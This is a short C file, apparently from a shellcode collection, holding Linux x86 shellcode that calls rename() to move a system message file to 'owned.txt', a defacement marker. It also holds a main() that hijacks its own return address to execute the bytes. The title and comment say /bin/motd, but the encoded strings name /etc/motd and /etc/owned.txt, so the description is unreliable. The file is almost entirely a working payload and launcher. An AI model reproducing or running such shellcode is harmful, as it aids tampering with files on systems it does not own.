Linux x86 shellcode that does a rename() of /bin/motd to /bin/owned.txt



Author: zillion
Email: zillion@safemode.org
Homepage: http://www.safemode.org


filename: linux-rename.c


/*
 * Shellcode that does a rename() of /bin/motd to /bin/owned.txt
 *
 * Written by zillion@safemode.org
 *
 */

char shellcode[] =
        "\xeb\x18\x5e\x31\xc0\x88\x46\x09\x88\x46\x18\xb0\x26\x8d\x1e"
        "\x8d\x4e\x0a\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xe3\xff\xff"
        "\xff\x2f\x65\x74\x63\x2f\x6d\x6f\x74\x64\x23\x2f\x65\x74\x63"
        "\x2f\x6f\x77\x6e\x65\x64\x2e\x74\x78\x74\x23";


void main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}


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